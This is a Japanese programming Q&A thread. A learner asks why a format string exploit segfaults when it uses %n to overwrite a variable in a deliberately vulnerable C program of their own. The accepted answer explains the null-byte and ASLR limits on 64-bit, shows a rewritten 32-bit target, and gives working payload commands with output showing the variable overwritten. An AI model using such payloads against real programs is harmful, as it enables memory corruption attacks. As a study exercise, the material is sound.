質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

88.78%

セキュリティに関する実験がうまくいかないです。

解決済

回答 2

投稿 編集

  • 評価
  • クリップ 1
  • VIEW 1,673

strike1217

score 585

.#include <stdio.h> 
.#include <stdlib.h> 
.#include <string.h>

int main(int argc, char *argv[]) { 
char text[1024]; 
static int test_val = -72;
strcpy(text, argv[1]);

printf("正しい方法:\n");
printf("%s", text);

printf("\n誤った方法:\n");
printf(text);

printf("\n");

// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}

というプログラムを作りました。わざと脆弱性があります。
./test AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

正しい方法:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
誤った方法:
AAAA.90389000.901687a0.8fe9c620.901687a0.8fe0e9fa.e5d5b9b8.8fdd3c58.41414141
[*] test_val @ 0x00600c18 = -72 0xffffffb8

8番目に41414141が来ているのがわかります。
この test_val (アドレス:0x00600c18)の内容を書き換えたいのです。

./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

誤った方法:
 `73760000.7353f7a0.73273620.7353f7a0.731e59fa.cb54e8b8.731aac58.25600c18

./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
これで書き換わるはずなのですが・・・・
segmentation fault になってしまいます。

わかる方いませんか?
Linux 64bitです。

  • 気になる質問をクリップする

    クリップした質問は、後からいつでもマイページで確認できます。

    またクリップした質問に回答があった際、通知やメールを受け取ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 過去に投稿した質問と同じ内容の質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

質問への追記・修正、ベストアンサー選択の依頼

  • strike1217

    2016/11/26 16:24

    すいません。プログラムの方は省略してます。全部書きますね。

    キャンセル

  • strike1217

    2016/11/26 16:30

    printf("[*] test_val @ 0x%p = %d 0x%08x\n", &test_val, test_val, test_val); これでも出力される結果は変わりませんでした。

    キャンセル

  • raccy

    2016/11/26 17:50

    ソースコードがソースコードとして書かれていないため正確に表現できていません。編集画面でソースコード全体を選択し、メニューの「<code>」ボタンを押してください。

    キャンセル

回答 2

checkベストアンサー

+1

macOS Sierra、Apple LLVM version 8.0.0 (clang-800.0.42.1)を用いて、test_valの書き換えに成功しました。LinuxのGCCでも可能かと思いますが、結構制限があります。

まず、今のコードと方法には複数の問題点があります。

  1. 64bit環境でのユーザーメモリ空間は0x00007fffffffffff(8Bytes)以下であるため、最初のテキストが"\xff\xff\xff\xff\xff\x7f\x00\x00"(8Bytes)のようにしなくてはならない。しかし、この文字列にはヌル文字が含まれるため、strcpyやprintfでその先が読み込む事ができない。最初のテキストでアドレスを表すときに\x00が必ず入る場合は動作しない。
    => 64bitではこの方法でアドレスを表現することは不可能。32bitにしなければならない。(-m32オプションを付けてコンパイル)
  2. 32bitの場合でも0x00ffffff(4Bytes)以下の場合は、最初のテキストが"\xff\xff\xff\x00"(4Bytes)とヌル文字が含まれて、同様に不可能になる。staticなローカル変数は通常若いアドレスに配置されるため、0x00ffffff以下となって表現できない。
    => staticではない普通のローカル変数をターゲットにしなければならない。
  3. デフォルトではASLR(アドレス空間配置のランダム化)が有効なため、test_valのアドレスが起動する度に変化する。
    =>ASLRを無効にしなければならない。(-Wl,-no-pieオプションを付けてコンパイル)

以上を踏まえて、ソースコードを下記のように書き直しました。(このコードはintとポインタが32bitであることが前提であるため、64bit環境では正しく使えません)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024] = {0};
    int test_val = -72;
    strcpy(text, argv[1]);

    printf("正しい方法:\n");
    printf("%s", text);

    printf("\n誤った方法:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", (unsigned int)&test_val,
        test_val, test_val);
    printf("[*] text @ 0x%08x = %u 0x%08x\n", (unsigned int)text,
        *((unsigned int *)text), *((unsigned int *)text));
    exit(0);
}

以下、実行結果です。ソースコードのファイル名はabunai.cです。なお、fishというマイナーなシェルを使っています。シェル内でコマンド実行結果を使う方法は$(コマンド)ではなく(コマンド)になっていますので、読み替えてください。λはシェルのプロンプトです。

λ clang -m32 -Wall -O0 -std=c11 -Wl,-no_pie abunai.c
abunai.c:15:9: warning: format string is not a string literal
      (potentially insecure) [-Wformat-security]
        printf(text);
               ^~~~
abunai.c:15:9: note: treat the string as an argument to avoid this
        printf(text);
               ^
               "%s",
1 warning generated.
λ ./a.out AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
正しい方法:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
誤った方法:
AAAA.bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000068.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.41414141
[*] test_val @ 0xbffff58c = -72 0xffffffb8
[*] text @ 0xbffff590 = 1094795585 0x41414141
λ ./a.out (printf "\x8c\xf5\xff\xbf")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
正しい方法:
����%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
誤った方法:
����bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000065.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.
[*] test_val @ 0xbffff58c = 175 0x000000af
[*] text @ 0xbffff590 = 3221222796 0xbffff58c


※ �部分は文字化け

最適化の影響を受けないように-O0(最適化無し)を付けています。最初のコマンドでtest_valのアドレスが0xbffff58cであることを確認しましたので、"AAAA""\x8c\xf5\xff\xbf"(リトルエンディアンなので逆順)になるようにします。あとは、41414141の場所に"%n"を投げ込めば、test_valが変わっているのがわかると思います。

なお、"AAAA"部分に入れるアドレスが間違っていたり、"%n"の順番が間違っていれば、どこかのアドレスを読みに行って書き換えようとします。ほとんどの場合はAddress boundary errorでSIGSEGVシグナルが吐かれて落ちてしまうでしょう。アドレスが間違ってないか、"%n"の位置が間違ってないかを確認してください。環境によって、test_valのアドレス、"%n"が入る位置が異なりますので、ご注意ください。

投稿

編集

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2016/11/27 20:35

    $(printf "アドレス"),%x,%x,%x,%x,%x,%x,%n
    現在はこんな感じでパラメータを渡していると思います。

    64bitでNULL文字が入らないような表現はどのようにすればできるかわかりますか??
    これは結構難しいんでしょうか??

    キャンセル

  • 2016/11/27 21:24

    %x,%x,%x,%x,%x,%x,%n$(printf "アドレス")
    と言う形にすれば、もともとtextに入っていたヌル文字と組み合わせて表現可能です(char text[1024] = {0};としていればの話です。0埋めしないと、ヌル文字で埋まるかは不確定な部分が出てきます)。ただ、%xなどの文字を増やしたり減らしたりする度に入れるところがずれていくので、何番目になるかの調整が結構面倒になります。

    キャンセル

  • 2016/11/27 21:46

    あああ~~
    やはり%xの個数でアドレスが変わるんですね!
    gdbで何でそうなるのかみてみます!

    textを0で初期化している場合に限るんですね!
    試してみます!
    質問が多くてすいません。ありがとうございます!

    キャンセル

0

「$(printf "\x18\x0c\x60")」 の部分はシェルで2つのコントロールコードとバッククオートに置換されてから、./testに渡されるのではないですか?
シングルクオートで括ったら、もちろん、「$(printf "\x18\x0c\x60")」がそのまま出ます。

「%08x」はそれに対する引数があるものとprintfがみなし、おそらくスタックの値を読み取るので、でたらめな値を表示します。

「%n」の場合は、printfがスタックの値を読み取り、でたらめな値をアドレスとみなし、そこに書き込もうとするから、segmentation faultになります。偶然、安全なアドレスならばsegmentation faultになりません。
狙い通り、0x00600c18番地への書き込むのは、コードを拝見する限り、無理と思います。

ちなみに私はLinuxではなく、64bit用WindowsのCygwinというUNIXライクな環境を使っています。
私の環境では、偶然、segmentation faultに相当するような事態にはなりませんでした。

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2016/11/26 20:54

    自分も以下のようなサイトを見つけました。
    https://gist.github.com/hhc0null/08c43983b4551f506722
    書き換えられないアドレスがあるみたいですね。
    「偶然安全なアドレス」というのはどのようにして、見つけんるですかね?
    GDBでしょうか?

    キャンセル

  • 2016/11/26 21:35

    コンパイラ、リンカ、ローダが実行イメージを論理アドレス空間に配置します。64bitのアドレス空間のうち有効なアドレスはわずかと思います。ユーザーコードがカーネル空間にアクセスできたら困りますよね。

    キャンセル

  • 2016/11/26 21:58

    なるほど!
    ありがとうございます。
    こちらでもよく調べてみますね

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

  • ただいまの回答率 88.78%
  • 質問をまとめることで、思考を整理して素早く解決
  • テンプレート機能で、簡単に質問をまとめられる

関連した質問

同じタグがついた質問を見る